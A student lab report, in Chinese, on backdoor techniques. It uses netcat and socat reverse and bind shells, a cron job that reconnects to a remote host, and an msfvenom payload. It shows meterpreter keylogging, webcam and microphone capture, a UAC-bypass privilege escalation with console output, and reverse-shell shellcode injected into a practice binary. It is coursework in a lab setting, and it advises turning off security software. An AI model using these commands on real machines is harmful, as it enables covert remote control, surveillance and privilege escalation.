*一、后門的概念
二、常用后門工具
2.1 NC 或 netcat
2.1.1 Win獲得Linux Shell
Windows獲得Linux Shell
-
在Windows下使用
ipconfig
查看本機IP
-
使用ncat.exe程序打開監聽
ncat.exe -l -p 5215
-
在kali中反彈連接Windows,
ncat 192.168.3.26 5215 -e /bin.sh
,使用-e
選項執行shell程序
Linux獲得Windows Shell
-
在kali中使用
ifconfig
查看IP
-
打開監聽
nc -l -p 5215
-
在Windows中反彈連接kali,
ncat.exe -e cmd.exe 192.168.30.134 5215
-
kali成功獲得Windows的命令提示
*2.1.3 Mac獲取Win shell
*2.1.4 Win獲取Mac Shell
*2.1.5 Mac獲取Linux Shell
*2.1.6 Linux獲取Mac Shell
- 由於沒有Mac電腦,做不了,就不做了。
2.1.7 Netcat擴展知識
使用nc傳輸數據
- Windows下監聽5215端口,
ncat.exe -l 5215
- kali反彈連接到Windows的
5215
端口,nc 192.168.3.26 5215
- 連接建立成功,雙方可以相互傳輸數據
使用nc傳輸文件(將文件從kali傳給Windows)
- Windows下監聽
5215
端口,並把收到的數據保存到file5215.out
中,ncat.exe -l 5215 > file1.out
- kali 反彈連接到Windows的
5215
端口,nc 192.168.3.26 5215 < file1.in
- 連接建立成功,Windows可以收到kali發來的文件。
2.2 Meterpreter
-
后門就是一個程序。
-
傳統的理解是:有人編寫一個后門程序,大家拿來用。
- 后來有一些牛人呢,就想編寫一個平台能生成后門程序。這個平台呢,把后門的
- 基本功能(基本的連接、執行指令),
- 擴展功能(如搜集用戶信息、安裝服務等功能),
- 編碼模式,
- 運行平台,
- 以及運行參數
-
全都做成零件或可調整的參數。用的時候按需要組合,就可以生成一個可執行文件。
-
典型的平台就包括有:
- intersect
- Metaspolit的msfvenom指令
- Veil-evasion
-
參數說明
-p
使用的payload,payload翻譯為有效載荷,就是被運輸有東西。這里windows/meterpreter/reverse_tcp就是一段shellcode.-x
使用的可執行文件模板,payload(shellcode)就寫入到這個可執行文件中。-e
使用的編碼器,用於對shellcode變形,為了免殺。-i
編碼器的迭代次數。如上即使用該編碼器編碼5次。-b
badchar是payload中需要去除的字符。LHOST
是反彈回連的IPLPORT
是回連的端口-f
生成文件的類型>
輸出到哪個文件
Meterpreter更多指令
meterpreter > help
Core Commands第一部分是核心指令
=============
Command Description
------- -----------
? Help menu
background Backgrounds the current session
bgkill Kills a background meterpreter script
bglist Lists running background scripts
bgrun Executes a meterpreter script as a background thread
channel Displays information or control active channels
close Closes a channel
disable_unicode_encoding Disables encoding of unicode strings
enable_unicode_encoding Enables encoding of unicode strings
exit Terminate the meterpreter session
get_timeouts Get the current session timeout values
help Help menu
info Displays information about a Post module
irb Drop into irb scripting mode
load Load one or more meterpreter extensions
machine_id Get the MSF ID of the machine attached to the session
migrate Migrate the server to another process
quit Terminate the meterpreter session
read Reads data from a channel
resource Run the commands stored in a file
run Executes a meterpreter script or Post module
set_timeouts Set the current session timeout values
sleep Force Meterpreter to go quiet, then re-establish session.
transport Change the current transport mechanism
use Deprecated alias for 'load'
uuid Get the UUID for the current session
write Writes data to a channel
Stdapi: File system Commands第二部分是文件系統相關的
============================
Command Description
------- -----------
cat Read the contents of a file to the screen
cd Change directory
dir List files (alias for ls)
download Download a file or directory
edit Edit a file
getlwd Print local working directory
getwd Print working directory
lcd Change local working directory
lpwd Print local working directory
ls List files
mkdir Make directory
mv Move source to destination
pwd Print working directory
rm Delete the specified file
rmdir Remove directory
search Search for files
show_mount List all mount points/logical drives
upload Upload a file or directory
Stdapi: Networking Commands當然少不了網絡操作的了
===========================
Command Description
------- -----------
arp Display the host ARP cache
getproxy Display the current proxy configuration
ifconfig Display interfaces
ipconfig Display interfaces
netstat Display the network connections
portfwd Forward a local port to a remote service
resolve Resolve a set of host names on the target
route View and modify the routing table
Stdapi: System Commands系統指令
=======================
Command Description
------- -----------
clearev Clear the event log
drop_token Relinquishes any active impersonation token.
execute Execute a command
getenv Get one or more environment variable values
getpid Get the current process identifier
getprivs Attempt to enable all privileges available to the current process
getsid Get the SID of the user that the server is running as
getuid Get the user that the server is running as
kill Terminate a process
ps List running processes
reboot Reboots the remote computer
reg Modify and interact with the remote registry
rev2self Calls RevertToSelf() on the remote machine
shell Drop into a system command shell
shutdown Shuts down the remote computer
steal_token Attempts to steal an impersonation token from the target process
suspend Suspends or resumes a list of processes
sysinfo Gets information about the remote system, such as OS
Stdapi: User interface Commands用戶接口,哇還可以抓取擊鍵記錄呢
===============================
Command Description
------- -----------
enumdesktops List all accessible desktops and window stations
getdesktop Get the current meterpreter desktop
idletime Returns the number of seconds the remote user has been idle
keyscan_dump Dump the keystroke buffer
keyscan_start Start capturing keystrokes
keyscan_stop Stop capturing keystrokes
screenshot Grab a screenshot of the interactive desktop
setdesktop Change the meterpreters current desktop
uictl Control some of the user interface components
Stdapi: Webcam Commands 什么?Video?昨天哪位同學問我來着?測試Win7可拍攝。
=======================
Command Description
------- -----------
record_mic Record audio from the default microphone for X seconds
webcam_chat Start a video chat
webcam_list List webcams
webcam_snap Take a snapshot from the specified webcam
webcam_stream Play a video stream from the specified webcam
Priv: Elevate Commands提權
======================
Command Description
------- -----------
getsystem Attempt to elevate your privilege to that of local system.
***我的win7沒成功***
Priv: Password database Commands導出密碼文件SAM
================================
Command Description
------- -----------
hashdump Dumps the contents of the SAM database
***我的win7沒成功***
Priv: Timestomp Commands修改文件操作時間,清理現場用
========================
Command Description
------- -----------
timestomp Manipulate file MACE attributes
三、實驗內容
1.使用netcat獲取主機操作Shell,cron啟動
Cron是Linux下的定時任務,每一分鍾運行一次,根據配置文件執行預設的指令。詳細說明可以"man cron"。
crontab -e
指令增加一條定時任務,-e表示編輯。因為是第一次編輯,故提示選擇編輯器,這里選擇的是3
。- 最后一行添加
43 * * * * /bin/netcat 192.168.3.26 5215 -e /bin/sh
,意思是在每個小時的第43分鍾反向連接Windows主機的5215端口。
- 時間到達43分的時候,如下圖所示(如果使用
ls
命令出現問題,可以使用比較簡單的whoami
命令,也能驗證)
2.使用socat獲取主機操作Shell, 任務計划啟動
關於socat:
-
socat是ncat的增強版,它使用的格式是
socat [options] <address> <address>
,其中兩個address
是必選項,而options
是可選項。 -
socat的基本功能就是建立兩個雙向的字節流,數據就在其間傳輸,參數
address
就是代表了其中的一個方向。所謂流,代表了數據的流向,而數據則可以有許多不同的類型,命令中也就相應需要許多選項對各種不同的類型數據流進行限定與說明。 -
右擊
此電腦
,點擊管理
-
點擊
任務計划程序
,再點擊創建任務
-
填寫任務名,新建一個觸發器,選擇
定時啟動
(當然設置其他的也行,都可以用,例如鎖定計算機時)
-
點擊
操作
,在程序或腳本
中選擇你的socat.exe文件的路徑,在添加參數一欄填寫tcp-listen:5215 exec:cmd.exe,pty,stderr
,這個命令的作用是把cmd.exe
綁定到端口5215,同時把cmd.exe的stderr重定向到stdout上:
- 創建好后任務准備就緒
-
到達20.42后,再次打開時,可以發現之前創建的任務已經開始運行。(記住,彈出的cmd窗口別關閉)
-
此時,在kali中輸入輸入指令
socat - tcp:192.168.3.26:5215
,這里的第一個參數-代表標准的輸入輸出,第二個流連接到Windows主機的5215端口,此時可以發現已經成功獲得了一個cmd shell
3.使用MSF meterpreter(或其他軟件)生成可執行文件,利用ncat或socat傳送到主機並運行獲取主機Shell
由於一些失誤,原有的虛擬機已經廢除,新的虛擬機ip為192.168.30.137
- 在Kali上執行指令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.30.137 LPORT=5215 -f exe > 20175215_backdoor.exe
,這里的IP地址為控制端IP,即KaliIP(使用ifconfig
查看),可見已經生成了后門程序“20175215_backdoor.exe”(此部分命令運行出現問題詳見:實驗中遇到的問題第二個。)
- 在Windows下執行
ncat.exe -l 5215 > 20175215_backdoor.exe
,這樣被控主機就進入了接收文件模式,也可以使用ncat.exe -lv 5215 > 20175215_backdoor.exe
指令,通過-lv選項看到當前的連接狀態,在kali中執行nc 192.168.3.26 5215 < 20175215_backdoor.exe
(這里的IP為被控主機IP,即WindowsIP)下面這個圖是文件傳輸成功的截圖
-
傳送接收文件成功,如下圖所示
-
在kali上使用
msfconsole
指令進入msf控制台- 輸入
use exploit/multi/handler
使用監聽模塊,設置payload set payload windows/meterpreter/reverse_tcp
,使用和生成后門程序時相同的payloadset LHOST 192.168.30.137
,這里用的是KaliIP,和生成后門程序時指定的IP相同set LPORT 5215
,同樣要使用相同的端口
- 輸入
-
進入msf控制台后的界面
- 輸入指令后的界面
- 設置完成之后,執行監聽,並運行Windows下的后門程序,此時kali上已經獲得了Windows主機的連接,並且得到了遠程控制的shell
4.使用MSF meterpreter(或其他軟件)生成獲取目標主機音頻、攝像頭、擊鍵記錄等內容,並嘗試提權
- 使用
record_mic
指令可以截獲一段音頻(可以使用-d
選項設置錄制時間)
- 使用
webcam_snap
指令可以使用攝像頭進行拍照
- 使用
keyscan_start
指令記錄下擊鍵的過程,使用keyscan_dump
指令讀取擊鍵記錄。(使用keyscan_start
后就要輸入,不然讀取不到數據)
-
使用
screenshot
指令可以進行截屏:
-
使用
getuid
指令查看當前用戶,使用getsystem
指令進行提權操作(該部分內容由Win7完成,理論上由Win10也能完成,對此遇到困難的同學請移步本博客下方內容:實驗中遇到的問題第四個)
5.可選加分內容:使用MSF生成shellcode,注入到實踐1中的pwn1中,獲取反彈連接Shell
- 通過學習學姐的博客:使用MSF生成shellcode后,我對這種形式有了更進一步的理解。
- 具體步驟如下:
- 在這個shellcode網站,上面生成的的shellcode都是經過測試過可用的。在網站里找一個linux/x86平台的,用於反彈連接的shellcode,下載。我選擇的是為下圖紅框部分的文件。
- 復制出里面的機器碼,其中的端口號和主機號也可以修改(但本次實驗過程中沒有修改)。
- 通過實驗一的學習,我們可以很輕松的找到shellcode的起始地址(切記要關閉地址隨機化),我的起始地址是0xffffd6c0。把他加在這段shellcode前面,用其生成input_2文件。
- 在這個shellcode網站,上面生成的的shellcode都是經過測試過可用的。在網站里找一個linux/x86平台的,用於反彈連接的shellcode,下載。我選擇的是為下圖紅框部分的文件。
perl -e 'print "A" x 32;print"\xc0\xd6\xff\xff\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"' > input_2
- 然后在另一個終端總打開msfconsole
,並打開監聽(因為我使用的IP地址是127.0.0.1,為回送地址)
use exploit/multi/handler
set payload linux/x86/shell_reverse_tcp
set LHOST 127.0.0.1
set LPORT 4444 //這兩個都是根據shellcode的指定內容來選擇的。
show options
exploit
- 在原來的終端輸入命令```(cat input_2;cat) | ./20175215pwn1```(運行pwn1文件),然后再按一次回車,在另一個終端就可以得到shell開始運行了。
SP.回答老師的問題
1.基礎問題回答
-
(1)例舉你能想到的一個后門進入到你系統中的可能方式?
- 在某些第三方網站中下載舊版本的某些應用程序,這些程序有可能會綁定某些可執行文件,留下后門。
-
(2)例舉你知道的后門如何啟動起來(win及linux)的方式?
- Windows:設置開機啟動、用戶執行帶后門的執行文件以及本次實驗中使用的任務計划程序等等。
- Linux:本次實驗中使用的Crontab和注入shellcode。
-
(3)Meterpreter有哪些給你映像深刻的功能?
- 通過后門控制被控主機的shell,本次實驗中的調用麥克風、攝像頭、鍵盤、讀取屏幕。
-
(4)如何發現自己有系統有沒有被安裝后門?
- 使用安全軟件,定時檢測系統有無異常
- 使用任務管理器等系統軟件查看是否有后台異常程序
- 查看(本次實驗中用到的)任務計划程序等等。
2.實驗總結與體會
- 本次實驗中還是碰到了不少的問題,我一開始以為只要把攻擊目標機器的防火牆關閉就可以隨意操作了,沒想到在計算機沒有充分的防御情況下我的攻擊與控制還是無法很流暢的達成。
- 雖然我現在只是了解了后門的基本原理,但是我相信通過這次學習,腳踏實地一步步走,還能學到更多更深入的知識。
SP2.實驗中碰到的問題
1.使用nc用windows向kali中傳輸文件中出錯
- 解決方案:暫時無法解決。
2.安裝之后會有metasploit無法打開問題
Bundler failed to load and returned this error:
‘cannot load such file – bundler / setup’
You may need to uninstall or upgrade bundler
- 解決方案:輸入
gem install bundler:1.17.3
即可。
3.啟動后門程序后被安全軟件自動清除
- 解決方案:記得關防火牆類程序!!!
4.提權失敗
- 把后門文件放在win10系統里的時候,kali中的提權操作總是失敗,不知道出了什么問題,於是我改用婁老師給的一個win7系統進行入侵。
- 上網查閱資料之后,通過meterpreter中的
background
命令查看到如下內容
-
使用
background
命令之后會自動退出到msf的命令行下,先在msf命令行下輸入search bypassuac
,再輸入use exploit/windows/local/bypassuac
,然后再輸入set session *
(*填寫內容為你使用background查看到的session數值),最后輸入run
,當運行結果大致為圖文所示內容時,在meterpreter中的getsystem
操作便會成功了。 -
圖:
- 文:
msf5 exploit(multi/handler) > use exploit/windows/local/bypassuac
msf5 exploit(windows/local/bypassuac) > set session 4
session => 4
msf5 exploit(windows/local/bypassuac) > run
[*] Started reverse TCP handler on 192.168.30.135:4444
[*] UAC is Enabled, checking level...
[+] UAC is set to Default
[+] BypassUAC can bypass this setting, continuing...
[+] Part of Administrators group! Continuing...
[*] Uploaded the agent to the filesystem....
[*] Uploading the bypass UAC executable to the filesystem...
[*] Meterpreter stager executable 73802 bytes long being uploaded..
[*] Sending stage (180291 bytes) to 192.168.30.140
[*] Meterpreter session 5 opened (192.168.30.135:4444 -> 192.168.30.140:49170) at 2020-03-09 03:04:04 -0400
SP3.參考資料
1.0x21_MAL_后門原理與實踐.md
2.2018-2019-2 網絡對抗技術 20165318 Exp2 后門原理與實踐
3.Exp02
4.后滲透之meterpreter攻略
5.使用MSF生成shellcode
6.README